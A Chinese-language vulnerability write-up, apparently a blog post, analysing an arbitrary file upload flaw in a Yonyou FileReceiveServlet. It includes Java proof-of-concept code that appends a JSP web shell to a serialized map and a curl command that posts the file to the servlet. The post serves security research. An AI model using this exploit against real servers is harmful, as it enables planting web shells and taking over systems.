漏洞触发点
http://10.211.55.15/servlet/FileReceiveServlet
``
## 漏洞利用
构造序列化文件发送数据
## 漏洞分析
该类位于
home/modules/uapss/lib/pubuapss_fwsearchIILevel-1.jar!/com/yonyou/ante/servlet/FileReceiveServlet.class
存在问题的代码,其实也很简单通过requtest对象获取数据,然后反序列化该数据为map类型的对象获取TARGET_FILE_PATH和FILE_NAME,然后将文件写入到TARGET_FILE_PATH
![图片.png](https://img.haomeiwen.com/i2818913/97ffa13bd5f5b0fd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
这里还有一个问题最后写文件的时候是直接通过输入流来read的这时候接收到的数据是还没进行反序列化的,那么在序列化文件中添加其他的数据是否会影响反序列化报错(这个是很必要的因为我们要把shell的内容通过流传过去就得将shell内容写入到序列化文件中),这里做个实验:
定义一个类 person对该类进行序列化
![图片.png](https://img.haomeiwen.com/i2818913/f4751ccfebe80566.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
序列化代码,这里创建字节流缓冲区按字节码文件写进去
![图片.png](https://img.haomeiwen.com/i2818913/51e5e2eef8ca12ca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
生成的序列化文件的内容数据已经成功添加进去
![图片.png](https://img.haomeiwen.com/i2818913/644d7a5dcd02b8e8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
反序列化试一下,没有问题成功获取到对象
![图片.png](https://img.haomeiwen.com/i2818913/3a86dcffc62c9eee.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
这个时候就可以构造exp了,我这里本地的环境有问题访问servlet直接下载了,本地搭建了一个web环境做个测试,传入到/tmp目录下
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
Map hashMap=new HashMap();
hashMap.put("TARGET_FILE_PATH","/tmp");
hashMap.put("FILE_NAME","shell.jsp");
ByteArrayOutputStream b=new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(b);
os.writeObject(hashMap);
String shell= "<% out.println('Hello World');%>";
byte[] bytes = shell.getBytes();
b.write(bytes);
FileOutputStream o = new FileOutputStream("exp.ser");
o.write(b.toByteArray());
生成的exp.ser文件发送给接收的servlet即可,这里可以用curl
url -X POST --data-binary @exp.ser http://127.0.0.1:9090/test
发送后成功传入到tmp目录下
![图片.png](https://img.haomeiwen.com/i2818913/7364be373436803b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
网友评论